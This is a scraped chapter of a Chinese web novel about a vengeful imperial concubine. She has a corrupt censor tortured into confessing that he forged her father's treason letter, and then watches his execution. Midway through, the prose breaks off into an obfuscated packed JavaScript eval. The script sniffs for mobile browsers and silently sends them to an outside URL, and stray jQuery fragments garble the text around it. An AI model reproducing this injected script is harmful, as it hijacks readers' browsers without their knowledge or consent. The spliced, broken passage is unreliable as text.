默认冷灰
24号文字
方正启体

4. 真相?

作者:佑佑十一本书字数:K更新时间:
    御史大夫李潭岁。


    与我父亲是同年以文武状元入朝为官。


    为人老奸巨猾,贯会左右逢源,可唯独和我父亲是死对头。


    他看不起我父亲一阶武将,粗鄙无礼。


    我父亲则是厌烦他口蜜腹剑,一身傲慢和对武官的偏见显露无疑。


    而七年前一纸奏书诬陷我父兄谋反之人。


    便是他!


    彼时,我父亲还在战场上英勇杀敌,为守护南钺国的百姓,也为稳固凌拓轩的皇位,拼死抗战。


    我兄长更是红衣怒马,仅靠一柄长剑便在万军之中取敌将之首级!


    仅仅半月,


    便打的敌寇节节败退,最终带领大军大获全胜。


    可就在他们凯旋而归时,没有百姓歌颂,君王礼迎,而是直接被卸甲去刃,关押大牢…


    紧接着,


    将军府书房内便被搜出父亲和多地驻扎将领的书信往来。


    信中的将领大多是我父亲曾经的部下,陪父亲驰聘沙场,出生入死,感情非比寻常。


    所以即使如今他们驻守在南钺国各地,父亲也一直与他们保持着书信往来。


    信中将领表明驻扎之地寒凉酷暑,条件很是艰苦,还说朝廷所发物资以及军饷不足以让将士们度日,很多官兵吵闹着要回家…


    这些书信本身也没什么太大的问题,顶多就是父亲的老部下对着他发些牢骚...


    可问题就出在,李谭岁声称截获了一封我父亲的回信!


    信中父亲安抚这些将领,表明现在帝王刚刚登基,百废待兴,让各位再坚持些时候,他也会想办法让陛下知道各地驻军所面临的艰苦和困境,争取让陛下多加优待…


    本来到这里也没什么问题,可信中最后,却突然画风一转,漆黑的墨水重重的写下了一句话。


    「若帝不准,取而代之!」


    这句话犹如千斤之重,直接压死了我父亲谋逆的罪名!


    我父亲为官几十年,在朝中声望非比寻常,更何况还手掌十万大军。


    以各地将领跟我父亲的交情,只要我父亲一声令下,不出意外的都会选择同我父亲共进退!


    再加上凌拓轩刚刚登基不久,根基不稳...


    若我父亲真生出了谋反的心思,整个南钺国恐怕鲜少有人能够抵挡…


    所以他们才会如此害怕!


    害怕到仅凭一句话,查也未查,直接使得我林家一百五十八口人头落地,而涉及此事的将领也无一幸免!


    可我却死也不相信,这句话是出自我父亲之手...


    且不说我林家,祖祖辈辈效忠朝廷,个个是读的圣贤书,教导的是保家为国的本事,只要战场需要,我林家男儿郎前赴后继,在战场上拼死厮杀,流血流汗!


    何况事发时,我父亲已领兵出战近半月,那些将领寄给我父亲的信件既然放在将军府,就说明是父亲出发去战场之前就收到的。


    就算回信也应该是去战场之前,而且那些信从将军府送出到目的地最慢也不过数日…


    为何隔了半个月之久,才被截获呢?!


    更何况,截获我父亲书信之人还是一直跟他不对付的李谭岁!


    这其中,定有什么猫腻!


    邢部,


    我坐在桌前,伸手端起桌上刚斟好的茶水放在嘴边,轻轻吹了一口气,不紧不慢的品了起来。


    “你这个妖妃!!你不得好死!!!”


    我嘴角勾起一抹嗤笑,这才侧眼睨了一下被吊在木架上浑身血淋淋的人。


    “李谭岁,你曾经害我林家满门抄斩的时候,可有想过今天?”


    当初李谭岁在我父兄被抓后,主动请缨审理我父亲的案子,结果就是仅仅三天之后,我父兄以及我林家满门被问斩!


    那可是一百五十三条人命啊…


    怎可如此草率?


    “你这个妖妃!我要见皇上!我要面见圣上!!”


    见凌拓轩?


    我不由得轻笑出声。


    “见凌拓轩有什么用?他已经将你的生死,交到我手上了,现在的你…应该先求我才对。”


    李谭岁闻言睁大眼睛,似是不相信他一直效忠的君主会把他交到我这个妖妃手上…


    其实就连我自己都不敢相信。


    那日,只因我的一句话,凌拓轩竟真的将李谭岁交由我处置!


    我悠悠的将盖子盖回茶水上,缓缓抬头,看向李谭岁的眼神逐渐凌厉。


    “七年前,真相是什么?!”


    当初得知父兄被斩,而我一直以来竟然都是生活在凌拓轩的欺骗之中…


    所以满腔怒火都化为一剑,刺在了大殿之上的凌拓轩身上,随后,我便被关在冷宫七年…


    如今我既然出了冷宫,自然要查清楚当年的真相。


    李谭岁闻言却笑了起来…


    “真相便是你父亲意图谋反被我发现!你林家被满门抄斩!哈哈哈...”


    “呸!”他朝我坐的方向啐了一口,接着说道:“当初我就应该一块除掉你这个祸国殃民的妖妃!”


    我不怒反笑:“我倒要看看…你能嘴硬到何时!”


    我给了旁边狱卒一个眼神,狱卒立马会意,当即举起烧红的烙铁毫不犹豫的就按在了他的胸口,惨叫声立马响彻了整个牢房...


    紧接着指夹,钉刑,烙印…


    不过半盏茶的功夫。


    “婉妃娘娘,我说….我什么都说!”


    我鄙夷的冷笑,什么所谓的文人风骨,终究是抵不过这牢里的一件件刑具加身啊…


    “说!当初你截获的那封信当真是出自我父亲之手吗?”


    随着我的厉喝,李谭岁身体明显颤抖了一下。


    他的五官因为身体上的疼痛而变得扭曲,表情比哭还难看:“我…当时我确实截获了林大将军的信…”


    我眼睛微微眯起:“接着说下去。”


    “信确实是林大将军寄出…不过最后两句话是…”他顿了顿,有些心虚的眼神不时的飘向我,但转眼一看烧红的烙铁正在蠢蠢欲动向他靠近,立马吓得屁滚尿流,颤颤巍巍的接着说:


    “是我…”


    “是我找人加上去的…”


    我蓦攥紧手中的茶杯!


    「若帝不准,取而代之!」


    这要了我林家一百五十三口人命的几个字,果然不是我父亲所写!


    怒火和恨意早已堆积在我的胸口,但我还是强行压下情绪,接着质问:“那你应该我父亲领兵出战前就已经截获了信,为何还要等半个月?!”


    “是…是因为当时鎏肃国来犯,前线战事吃紧,放眼满朝武官没有谁比林大将军和林小将军更适合领兵出征了…”


    此话一出,我先是一愣,紧接着便有些癫狂的笑了起来,笑着笑着眼角泪水溢出,眼眶也逐渐变得猩红!


    啪嗒—


    手中的茶杯被摔的四分五裂!


    我伸手指着李谭岁,手指却因为情绪起伏太大而有些颤抖。


    “李谭岁!你怎么敢?!你怎么能?!”


    想要污蔑我父亲谋反,还要榨干他最后一丝价值,要让他平定了战乱,护卫了南钺国,再送他上斩首台!


    这是何其无耻?!


    若不是亲耳听到,怎会相信人可以坏到如此地步?!


    可怜我父亲一生戎马为国,拼死换得战场上的胜利,却没有躲过身后自己人扔出的利刃...


    可怜我兄长本应该鲜衣怒马,倨傲四方,如今却也蒙冤致死,落得一个尸首分离的下场!


    “娘娘饶命啊!娘娘饶命…”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185467|197013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“饶命?!”


    “你这句话留着去到底下,跟我含冤而死的父兄去说吧!”


    ……


    李谭岁被问斩的那天,我就在督斩台上。


    不同以往日,


    我一袭红衣魅妆,身姿娇媚的坐在凌拓轩腿上,一只手轻勾着他的脖颈,另一只手从桌上端了一杯酒送到凌拓轩的嘴边,笑靥轻漾。


    “皇上,喝呀~”


    凌拓轩来者不拒,一仰头,一杯酒又喝了下去…


    台下围观行邢的百姓却像是炸开了锅,更有大胆一点的直接喊了出来:


    “南钺国有此妖妃,早晚要亡啊!”


    底下纷纷附议。


    “李大人这么好的官,妖妃一句话就要被斩,真是红颜祸水呀!”


    “对啊!妖妃恶毒媚主,要斩的人应该是她才对!”


    李谭岁是好官?!


    我忍不住发出一声嗤笑…


    可笑至极。


    他就是给自己树立了一个好官的外壳,私底下无恶不作。


    早在七年前,父亲还活着的时候,就跟我说过,李谭岁买卖官职,克扣官兵军饷,贪污赈灾救命钱…


    父亲本已收集到一些证据,只等从战场回来便告到御前。


    李谭岁应该是察觉到什么,所以才先发制人,在我父亲一踏入京城的时候就带人羁押了他!


    “婉儿,这等见血的事,何须你亲自来呢?”


    我恍然回神,悄然掩下眼底涌出的恨意,对着凌拓轩悄然一笑


    “皇上,你不觉得他该死吗?”


    凌拓轩刚想张嘴,我立马伸出一根手指堵住了他的唇:“该死的人,自然是要亲眼看着他血流干净!”


    眼波流转间,我躲开凌拓轩探究的眼神,回头从桌子上抽出斩令牌,往底下随意的一丢。


    “开始吧。”


    我语气轻盈,仿佛下达的不是杀人的命令,而只是吩咐人摘下一片树叶般轻愉…


    “皇上饶命啊,切不可听信妖妃谗言啊!”


    “皇上!老臣为官数十年,看在老臣没有功劳也有苦劳的面上,饶臣一命吧…”


    “皇上…饶命啊!”


    眼见凌拓轩毫无收回成命的打算,李谭岁的求饶声逐渐变为怒骂!


    “林芷婉,你这个毒妇!你以为你父兄是我害死的吗?你全错了…你全错了…哈哈哈哈…”


    笑声随着刽子手的手起刀落戛然而止!


    我猛然站起!想阻止却已经来不及!


    他死之前的最后一句话在我脑子里不断炸开!


    我全错了?!


    急于求证下,我下意识转身向凌拓轩确认:“他刚刚说什么?!”


    本来我以为李谭岁就是察觉到我父亲在调查他,所以提前一步设局陷害…


    可他临死前说我全错了…


    难道害死我父亲的另有其人?!


    谁是他身受酷刑,人头落地也不愿意供出的人?!


    凌拓轩拉起我的手:“婉儿,一个将死之人说的话,又何必当真。”


    脑袋里的想法对上凌拓轩深不见底的眼眸,我心底一惊。


    难道,李谭岁的奏折…我父亲的信…都是凌拓轩因为忌惮我父亲所设下的局吗?!


    “许是…许是我听错了吧…”


    心底虽惊涛骇浪,但面上还是强行恢复平静。


    虽然我大可再像七年前那样提剑与他同归于尽!


    但我已不是七年前那个懵懂无知,只知道手刃仇人的少女了。


    我深知莫姨与我相处七年,不可能随随便便就说出我父兄还在世这种话。


    既然她说了,就说明她一定是发现了什么。


    倘若我父兄真的还活在世间!


    那我眼下最重要的便是找到他们!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)